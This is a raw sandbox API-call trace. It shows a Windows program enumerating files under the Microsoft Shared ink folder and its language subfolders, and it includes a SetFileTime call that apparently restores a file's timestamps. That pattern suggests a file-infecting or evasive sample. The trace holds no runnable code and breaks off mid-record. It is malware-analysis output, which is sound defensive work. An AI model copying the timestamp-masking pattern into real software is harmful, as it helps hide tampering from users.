ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0058.197] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.197] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0058.197] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.197] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0058.197] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.198] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0058.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.198] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0058.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.198] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0058.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.198] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0058.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.198] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0058.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.198] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0058.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.199] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0058.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.199] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0058.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.199] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0058.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.199] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0058.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.200] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0058.200] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.200] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0058.200] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.200] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0058.200] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.200] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0058.200] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.200] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0058.201] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.201] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0058.201] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.201] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0058.201] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.201] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0058.201] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.201] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0058.201] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.202] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0058.202] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.216] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0058.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.217] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0058.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.217] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0058.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.217] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0058.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.217] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0058.217] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.217] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0058.217] lstrcmpA (lpString1=".", lpString2="it-IT") returned -1 [0058.218] lstrcmpA (lpString1="..", lpString2="it-IT") returned -1 [0058.218] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.218] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.218] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.218] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.218] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.218] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.218] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.221] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.221] CloseHandle (hObject=0x90) returned 1 [0058.221] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" [0058.221] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.221] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.221] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0058.221] lstrcmpA (lpString1=".", lpString2="ja-JP") returned -1 [0058.221] lstrcmpA (lpString1="..", lpString2="ja-JP") returned -1 [0058.221] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.222] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.222] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, 